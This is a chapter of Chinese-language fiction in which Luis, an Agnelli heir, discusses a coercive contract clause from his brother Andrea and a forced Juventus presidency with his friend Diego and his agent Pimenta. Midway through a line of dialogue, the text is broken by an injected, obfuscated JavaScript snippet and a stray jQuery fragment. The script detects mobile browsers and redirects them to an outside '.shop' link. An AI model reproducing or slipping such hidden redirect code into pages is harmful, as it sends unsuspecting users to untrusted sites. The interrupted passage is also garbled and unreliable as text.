“我看不出任何漏洞,我是说,每个部分都有详细说明,除了对丑闻的定义。所以……这是个相当有弹性的约定。而且很有智慧。”
迭戈.奥尔西尼大概阅读了安德烈用来威胁路易斯的条款五次,然后才说出了他的判断,不过路易斯对他的话并不满意,于是又强迫他阅读了五次——
“我是说,我暂时看不出来。”他最终屈服了,“不过我相信我能在几周后找到一点面包屑。”他承诺道。
而路易斯,有更好的判断,他相信迭戈会在离开咖啡店的一瞬间就关掉手机,然后消失,假装他们从未因此见面,直到两个月之后才假装这是个不便利的误会。
“别傻了,迭戈。”他平淡地说,为被当成白痴感到不快,“我不会让你走的。”
迭戈的眼睛在文件上方看着他,似乎在判断他说的是不是真的。
“我不知道你想要我做什么,路易斯。”他的朋友合上那张白纸,用一根手指控诉地指着它。“你的律师团队不是更专业吗?”
从专业角度来说,寻求迭戈.奥尔西尼的建议确实不是一个聪明的选择。不过路易斯从来没有想过让迭戈为他解决问题。
他知道他的朋友是什么货色,他们合得来是有原因的。他只是想随便找一个可以理解安德烈是谁的人来说说他的不幸。重点一直都是他,而不是别的。
“我确实没有想要你做什么。”迭戈明显地松了口气,路易斯觉得他的反应很可笑,但他的反应不会成为这段谈话的重点——“这就解释了安德烈为什么有那么多新闻界的走狗。他一直在等我犯错,这样我就得听他的话了。”
“控制舆论很有用。”迭戈在他的眼神下谨慎地举起双手,“我不是站在他的那一边,但是……你不会告诉我你在新闻界没有仆人吧?”
路易斯确实有,但这是另一回事。
“这不一样。”
“这完全一样。”迭戈说,“只不过,你从来没有想过利用这些东西来窥探你的哥哥——”
“我确实知道安德烈的所有丑闻。”路易斯提醒他。
“但你只把它们当成嘲笑他的借口。”他的语气极度暗示他对路易斯很失望,“你为什么不对他做同样的事?”
“嗯,技术上我可以。那需要一点点时间,迭戈。而他可以在明天把我变成乞丐。”路易斯恼火地说,“到了那个地步,我就不太可能负担长时间的律师费用了,是吧?”
“那么,你在战争的第一部分就输了。”迭戈的表情说明他觉得路易斯极度愚蠢,“路易——”
“好吧,现在说这个没什么用。”路易斯厉声说道,他的脾气打断了迭戈的话。无论如何,现在的他并不需要来自别人的教训。
他往后靠在椅子上,这能让他克制住向迭戈吐口水的欲望,“我知道我错过了一些情节。”他试着缓和刚刚表现出来的粗鲁,“他几乎比我老了十五岁,你不能怪我。”
“你有更好的律师团队。”
“然而,我没有那份关于我的行为规范的附件。”他更加怒气冲冲地瞪着他,“翁贝托显然觉得我才是那个需要被监管的人。”
“我真的很怀疑。”迭戈看了路过他们的服务生一眼,降低了说话的声音。“你爸爸不可能让你的处境那么糟糕——”
“我不能确定,毕竟,他已经死了——”
“我倾向于你也有类似的权利,路易。”迭戈坚持道,“但是,就像我说的,你在战争的第一部分就输了。”
不是说路易斯没有考虑过这个可能,但这种想法除了让他感觉自己很傻,并没有别的帮助。而且,寻找漏洞需要时间,他没有那种奢侈。
“安德烈一直都很有控制欲,你确实给了他一个机会。”迭戈说,“我告诉过你,安东尼奥一无是处,他只是很会拍马屁,现在怎么样?事实证明,他连一份名单都控制不好。”
“你知道我喜欢马屁精。”
“有时候你的傲慢让你变得很蠢。”迭戈专注地看着他,眼里充满了不赞同,“你明白吗?”
是的。路易斯想回答,但出于怨恨,他仍然保持沉默。这是一个深刻的教训,而迭戈.奥尔西尼以最直白的方式说了出来,很难不觉得这是针对他个人的指控。
“也许我需要你帮我谋杀安德烈。”路易斯若有所思地说,“我记得你们家族的产业包括某些不合法的部分……”
“什么产业?”皮门塔问道。
路易斯抬起头,他的经纪人毫无预警地出现了。皮门塔抱着手臂看着他,她的职业套装仍是昨天半夜她穿的那一套,这在之前从未发生过。
二十四小时内的第二次,他感觉自己像个孩子。
他咳嗽了一声,“没什么。”他含糊地说,同时给了迭戈一个眼神。迭戈已经开始玩弄自己的手指了,注意到这个暗示,他对路易斯露出一个冷笑,然后张开嘴——这个混蛋。
“请坐,拉斐拉。看来你给我带来了一些消息。”路易斯在他之前开口,“我再说一下我的要求——我不想当安德烈的跟班,也不想因为拒绝变成乞丐。”
皮门塔太专业了,不会同意这句话。
“理论上,安德烈不能让你变成乞丐。”她说,“你还是有很多和遗嘱无关的信托,路易斯。詹尼送给你的东西也不在那个范围。”
“你是说,那些不够付我的车子保险的信托。”
“如果你真的从遗嘱里被除名,你可能也不需要那么多的车了。”
路易斯讨厌她的务实,更让他心烦的是,迭戈已经毫不留情地笑了起来。
“你对路易来说太好了,皮门塔女士。”迭戈对她眨眨眼,露出牙齿。“也许反思一下自己的生活对他有好处。”
路易斯朝他扔了半块柠檬,柠檬准确地击中了他的额头,活该。
“男孩们。”皮门塔威严地说,对那块掉在地上的柠檬露出不赞同的表情。
路易斯叹了口气,如果他甚至不能发脾气,这种闲聊还有什么意义?“那么,继续吧,拉斐拉。”他催促道,“他是个白痴,但他可以参与这场谈话。你找到了什么?”
皮门塔没有继续。相反,她不赞同的目光投射到了路易斯脸上。
“据我所知,你现在的麻烦是你曾经的一个朋友导致的。”她说,“考虑到这个历史,你让不相关的人听到这些内容……可能并不明智。”
路易斯……路易斯对她的反应印象深刻。而且严格来说,她的理论并没有错。
“说得好。”他同意道,然后看向迭戈,“你能去其他地方找点乐子吗?求你了。”
这段话中的另一个主角——迭戈,并没有为此争辩。他和路易斯交换了一个眼神,路易斯认出那是在说“一会告诉我”,然后他站起来,选择去柜台那里和点单的女人搭讪。
“迭戈.奥尔西尼。”在确定他听不见后,皮门塔不带感情地叫出了他的名字,“不能说我对你的社交圈感到惊讶,老板。”
“别这样,拉斐拉。”路易斯说,“意大利人的圈子很小。”
“我不知道你和奥尔西尼的人是朋友。”皮门塔继续说,“我知道那个家族和宗教有关,现在怎么样?你打算加入教会吗?我不确定这能说服安德烈放弃起诉你。”
“我已经十五年没有去教堂了。”
皮门塔看他的眼神立刻充满谴责,仿佛他是个无可救药的渎神者。
她摇摇头,没有继续这个话题。“好吧,说回那件事,我和律师们谈过了。”她说着在他身边坐下,“安德烈提供的补充条款被证实是真的。至于你为什么只能被动接受信息,可能有程序上的漏洞……但在我们找到它以前,这很难对你的处境有帮助。”
很难对你的处境有帮助。
太棒了。路易斯想,这就是他需要的全部,告诉他安德烈如此准确地鞭打了他——如果他不想变成乞丐,那就需要识相一点。
他即将变成安德烈厨房里的一条鱼,随时等着被开膛破肚——
“真的假的?我因为一张该死的照片要变成他的跟班了?”他气急败坏地举起手,又在其他人谨慎的目光中不得不放下。“你不可能是认真的吧。”
“暂时的。”皮门塔说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739441|209080||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,“如果条款被证实对安德烈也适用,他以后就不能用类似的东西威胁你了,据我所知,他也不是什么圣人。”
“他要求我听命令行事!他能让我做任何事!”
“没那么糟,路易。他能对你发号施令的范围是有限制的。”皮门塔提醒他,“那里确实有物理上的保护条款。”
“他可能会在心理上阉割我!”
路易斯想起安德烈最后对他说话的表情。这件事可能完全是非物理的,一个人不可能自愿把自己拥有的好东西送给别人,他不是那种人,安德烈也不是。
“我再说一遍,他命令你的程度是有限的,翁贝托从来没有留下真正能对你不利的武器。”
“那么,我的哥哥有什么理由让我成为尤文图斯的主席?”他继续问皮门塔,“约翰没有得到尤文图斯,最重要的原因是他不姓阿涅利。这一直是安德烈最自豪的地方。”
任何人都知道,约翰.埃尔坎在继承了菲亚特集团后仍然试图扩大自己在足球领域的影响力——但作为这个庞大的传统家族的后代,姓氏在某些方面决定了门槛。
“他确实告诉我了几个理由,我引用一下:为了让你在这个家里感到有用。以及,他觉得你需要被改造,你的生活方式很不健康。”
“或者说,让他感觉我对他有用。”路易斯做了个鬼脸,“我不是以对家族的贡献出名的。”
“时机很重要,老板。”皮门塔说,“这不是你第一次惹麻烦,但你第一次引起这样的后果。它不可能是巧合。”
“那就是我的观点。”路易斯冷笑道,“如果他希望我去做什么事,一定不是出于好意。”
皮门塔的眼神让他感觉自己很可怜。“哦,路易。”她遗憾地说,“即使我们知道这件事没那么简单,我们也不能拒绝他的提议,至少需要暂时同意,否则……”
她没有说否则怎么样,但路易斯已经可以预见后果:他的所有跑车和房产都长着翅膀飞走了。那些账单则全都张着嘴巴,用安德烈的声音说出了皮门塔的话:反正你也不需要那么多钱。
他唉声叹气,感觉自己很可悲。
“我确实要求你检查安德烈的健康状况。”他说,“除非他快要死了,否则他不可能想要改造我,是吧?我的生活方式对他没有任何威胁。”
“我要声明这是极度非法的。”皮门塔谨慎地说,“但我还是设法弄到了一小部分文件,我可以告诉你的是,你哥哥非常健康。”
“那就更说不通了。”
“我偏向于实际一点,路易。现在的重点恐怕不是原因,而是你能从这里面得到什么好处。”
“成为尤文图斯的主席可以得到什么好处?”他翻了个白眼,“我是一个阿涅利,这就意味着我知道这个俱乐部的情况——”
“他们在三年里有两次进入了欧冠决赛。”
“然后两次都被该死的西班牙球队击败了。”他轻蔑地补充道。“最贵的一块垫脚石。他们就是这么称呼她的。”
“如果全世界最好的球员在西甲,这确实是有道理的,是吧?”
“意大利足球变得这么缺乏未来是谁的错呢?”他傲慢地抱着手臂,为想起2006年的事感到不快,“我一直都说,操纵比赛是自毁前程的行为——尤其是这么做的人还傻到暴露出来了。”
“那已经是十二年以前的事了。”
“然而,它的影响会持续一个世纪。”路易斯等着她反驳他,但是她没有。这让他有点失望。“而且,我可能需要提醒你,女士。他们去年因为打架输掉了一场决赛,这是一个新的低标准。我怎么可能在这些疯子的帮助下得到什么东西?”
“那就是你需要想办法解决的事了。”皮门塔说,她站了起来,居高临下地看着他。她的姿势让他想起了他以前被妈妈教训的时候。
“你有两个选择,路易。”她一边说一边往外走,“接受它,或者接受拒绝它的后果。”
路易斯不知道这为什么会是两个选择。他是一个实际的人,失去奢侈的生活是不可接受的……那里明显只有一个选择。